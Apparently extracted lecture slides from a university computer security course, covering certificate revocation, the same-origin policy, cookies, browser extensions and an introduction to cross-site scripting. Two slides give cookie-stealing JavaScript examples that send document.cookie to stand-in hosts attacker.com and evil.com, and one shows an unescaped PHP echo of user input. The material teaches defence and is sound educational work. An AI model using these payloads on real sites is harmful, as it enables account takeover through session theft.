CSE 484: Computer Security and Privacy

Web Security

Spring 2023

David Kohlbrenner
dkohlbre@cs

Thanks to Franzi Roesner, Dan Boneh, Dieter Gollmann, Dan Halperin, David Kohlbrenner, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
Logistics

• HW2 is due in a week
• Lab 2 will go out relatively soon (early next week)
Certificate Revocation

• Revocation is **very** important
• Many valid reasons to revoke a certificate
  • Private key corresponding to the certified public key has been compromised
  • User stopped paying their certification fee to this CA and CA no longer wishes to certify them
  • CA’s private key has been compromised!
• Expiration is a form of revocation, too
  • Many deployed systems don’t bother with revocation
  • Re-issuance of certificates is a big revenue source for certificate authorities
Certificate Revocation Mechanisms

• Certificate revocation list (CRL)
  • CA periodically issues a signed list of revoked certificates
    • Credit card companies used to issue thick books of canceled credit card numbers
    • Can issue a “delta CRL” containing only updates

• Online revocation service
  • When a certificate is presented, recipient goes to a special online service to verify whether it is still valid
    • Like a merchant dialing up the credit card processor
Attempt to Fix CA Problems:
Certificate Transparency

• **Problem**: browsers will think nothing is wrong with a rogue certificate until revoked

• **Goal**: make it impossible for a CA to issue a bad certificate for a domain *without the owner of that domain knowing*

• **Approach**: auditable certificate logs
  • Certificates published in public logs
  • Public logs checked for unexpected certificates

[www.certificate-transparency.org](http://www.certificate-transparency.org)
Next Major Topic!
Web+Browser Security
Big Picture: Browser and Network
Where Does the Attacker Live?

Mitigation: SSL/TLS (not covered further)

Mitigation: Browser security model + web app security (this/next week)
Two Sides of Web Security

(1) Web browser
    • Responsible for securely confining content presented by visited websites

(2) Web applications
    • Online merchants, banks, blogs, Google Apps ...
    • Mix of server-side and client-side code
      • Server-side code written in PHP, JavaScript, C++ etc.
      • Client-side code written in JavaScript (... sort of)
    • Many potential bugs: XSS, XSRF, SQL injection
But at least 3 actors!

User + Browser

A.com

Network

B.com
Browser: All of These Should Be Safe

• Safe to visit an evil website

• Safe to visit two pages
  • Simultaneously
  • Sequentially

• Safe delegation
Browser Security Model

**Goal 1:** Protect local system from web attacker  
→ Browser Sandbox

**Goal 2:** Protect/isolate web content from other web content  
→ Same Origin Policy
Browser Sandbox

Goals: Protect local system from web attacker; protect websites from each other

- E.g., safely execute JavaScript provided by a website
- No direct file access, limited access to OS, network, browser data, content from other websites
- Tabs and iframes in their own processes
- Implementation is browser and OS specific*

*For example, see: https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md

<table>
<thead>
<tr>
<th></th>
<th>High-quality report with functional exploit</th>
<th>High-quality report</th>
<th>Baseline</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sandbox escape / Memory corruption in a non-sandboxed process</td>
<td>$40,000 [1]</td>
<td>$30,000 [1]</td>
<td>Up to $20,000 [1]</td>
</tr>
</tbody>
</table>

From Chrome Bug Bounty Program
Same Origin Policy

Goal: Protect/isolate web content from other web content

Website origin = (scheme, domain, port)

<table>
<thead>
<tr>
<th>Compared URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir/page.html">http://www.example.com/dir/page.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com:81/dir/other.html">http://www.example.com:81/dir/other.html</a></td>
<td>Failure</td>
<td>Same protocol and host but different port</td>
</tr>
<tr>
<td><a href="https://www.example.com/dir/other.html">https://www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://en.example.com/dir/other.html">http://en.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir/other.html">http://example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
<tr>
<td><a href="http://v2.www.example.com/dir/other.html">http://v2.www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
</tbody>
</table>

[Example from Wikipedia]
Same Origin Policy is Subtle!

• Browsers didn’t always get it right...
  • In 2023 we’re pretty good though

• Lots of cases to worry about it:
  • DOM / HTML Elements
  • Navigation
  • Cookie Reading
  • Cookie Writing
  • Iframes vs. Scripts
HTML + DOM + JavaScript

<html>
  <body>
    <h1>This is the title</h1>
    <div>
      <p>This is a sample page.</p>
      <script>alert(“Hello world”);</script>
      <iframe src="http://example.com"></iframe>
    </div>
  </body>
</html>
Same-Origin Policy: DOM

Only code from same origin can **access HTML elements** on another site (or in an iframe).

- `www.bank.com` (the parent)
  - can access HTML elements in the iframe (and vice versa).

- `www.bank.com/iframe.html`

```html
<html>
  <body>
    <iframe src="http://www.bank.com/iframe.html">
    </iframe>
  </body>
</html>
```

- `www.evil.com` (the parent)
  - **cannot** access HTML elements in the iframe (and vice versa).

- `www.evil.com/iframe.html`
Browser Cookies

• HTTP is stateless protocol

• Browser cookies are used to introduce state
  • Websites can store small amount of info in browser
  • Used for authentication, personalization, tracking...
  • Cookies are often secrets

Browser

POST login.php
username and pwd

HTTP Header: Set-cookie:
  login_token=13579;
domain = (who can read);
expires = (when expires)

GET restricted.html
Cookie: login_token=13579

Server
Same Origin Policy: Cookie Writing

Which cookies can be set by login.site.com?

<table>
<thead>
<tr>
<th>allowed domains</th>
<th>disallowed domains</th>
</tr>
</thead>
<tbody>
<tr>
<td>✔ login.site.com</td>
<td>✗ othersite.com</td>
</tr>
<tr>
<td>✔ .site.com</td>
<td>✗ .com</td>
</tr>
<tr>
<td></td>
<td>✗ user.site.com</td>
</tr>
</tbody>
</table>

login.site.com can set cookies for all of .site.com (domain suffix), but not for another site or top-level domain (TLD).
Problem: Who Set the Cookie?

Set-Cookie:
Domain: .site.com
Value: userid=alice, token=1234

Set-Cookie:
Domain: .site.com
Value: userid=bob, token=5678

Cookie: userid=bob, token=5678

Not a violation of the SOP!
Same-Origin Policy: Scripts

• When a website **includes a script**, that script **runs in the context of the embedding website**.

```html
<script src="http://otherdomain.com/library.js"></script>
```

The code from **http://otherdomain.com** **can** access HTML elements and cookies on **www.example.com**.

• If code in script sets cookie, under what origin will it be set?
• What could possibly go wrong...?
Foreshadowing:
SOP Does Not Control Sending

• A webpage can **send** information to any site
• Can use this to send out secrets...
Canvas:

• Why would website foobar.com include (directly) a script from baz.com?
  • E.g. <script src=https://baz.com/ascript.js/>

• If they do, what could happen if baz is compromised, or decides to be malicious?
Example: Cookie Theft

• Cookies often contain authentication token
  • Stealing such a cookie == accessing account

• Cookie theft via malicious JavaScript
  <a href="#" onclick="window.location='http://attacker.com/stole.cgi?cookie='+document.cookie; return false;">Click here!</a>

• Aside: Cookie theft via network eavesdropping
  • Cookies included in HTTP requests
  • One of the reasons HTTPS is important!
Cross-Origin Communication

• Sometimes you want to do it...

• Cross-origin network requests
  • Access-Control-Allow-Origin: <list of domains>
    • Unfortunately, often: Access-Control-Allow-Origin: *

• Cross-origin client side communication
  • HTML5 postMessage between frames
    • Unfortunately, the framed page has to include code to correctly handle these (and often have bugs)
What about Browser Plugins?

- **Examples:** Flash, Silverlight, Java, PDF reader
- **Goal:** enable functionality that requires transcending the browser sandbox
- **Increases browser’s attack surface

Java and Flash both vulnerable—again—to new 0-day attacks

Java bug is actively exploited. Flash flaws will likely be targeted soon.

by Dan Goodin (US) - Jul 13, 2015 9:11am PDT

- **Good news:** plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions)
“As of mid-October 2020, users started being prompted by Adobe to uninstall Flash Player on their machines since Flash-based content will be blocked from running in Adobe Flash Player after the EOL Date.”
What about Browser Extensions?

- Most things you use today are probably extensions
- **Examples:** uBlock Origin, Adblock, Ghostery, Mailvelope
- **Goal:** Extend the functionality of the browser

- (Chrome:) Carefully designed security model to **protect from malicious websites**
  - **Privilege separation:** extensions consist of multiple components with well-defined communication
  - **Least privilege:** extensions request permissions
What about Browser Extensions?

• But be wary of malicious extensions: **not subject to the same-origin policy** – can inject code into any webpage!
Extensions in flux

• Google has (attempted) to standardize how extensions work

• “Manifest v3” is the new specification
  • Upends how extensions get access to pages
  • Changes how they can execute code

• Generally, slow progress towards making them safer to use
Summing up browser security

• Browsers are a critical consumer target today
  • Large attack surface

• Many assets to protect

• Wide usage
Review Slide: Web Security Overview

• **Browser security model**
  • Browser sandbox: isolate web from local machine
  • Same origin policy: isolate web content from different domains
  • Also: Isolation for *plugins and extensions*

• **Web application security**
  • How (not) to build a secure website
Web Application Security:
How (Not) to Build a Secure Website
Dynamic Web Application

Browser

GET / HTTP/1.1
HTTP/1.1 200 OK

Web server

index.php

Database server
OWASP Top 10 Web Vulnerabilities (5/2021)

1. Broken Access Control
2. Cryptographic Failures
3. Injection
4. Insecure Design
5. Security Misconfiguration
6. Vulnerable and Outdated Components
7. Identification and Authentication Failures
8. Software and Data Integrity Failures
9. Security Logging and Monitoring Failures
10. Server-Side Request Forgery
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

• Server scripting language with C-like syntax
• Can intermingle static HTML and code

<input value="<?php echo $myvalue; ?>">

• Can embed variables in double-quote strings

$user = “world”; echo “Hello $user!”;

or  $user = “world”; echo “Hello” . $user . “!”;

• Form data in global arrays $_GET, $_POST, ...
Echoing / “Reflecting” User Input

Classic mistake in server-side applications


search.php responds with

<html> <title>Search results</title>  
<body>You have searched for <?php echo $_GET[term] ?>... </body>
Echoing / “Reflecting” User Input

naive.com/hello.php?name= User

Welcome, dear User


Welcome, dear

Yoshi
Cross-Site Scripting (XSS)

Access some web page


Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

\[GET/\text{hello.cgi}\text{?name=}<script>win.open(\"http://evil.com/steal.cgi?cookie=\+document.cookie\")</script>\]

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

\[<HTML>Hello, dear\<script>win.open(\"http://evil.com/steal.cgi?cookie=\+document.cookie\")</script>\] Welcome!</HTML>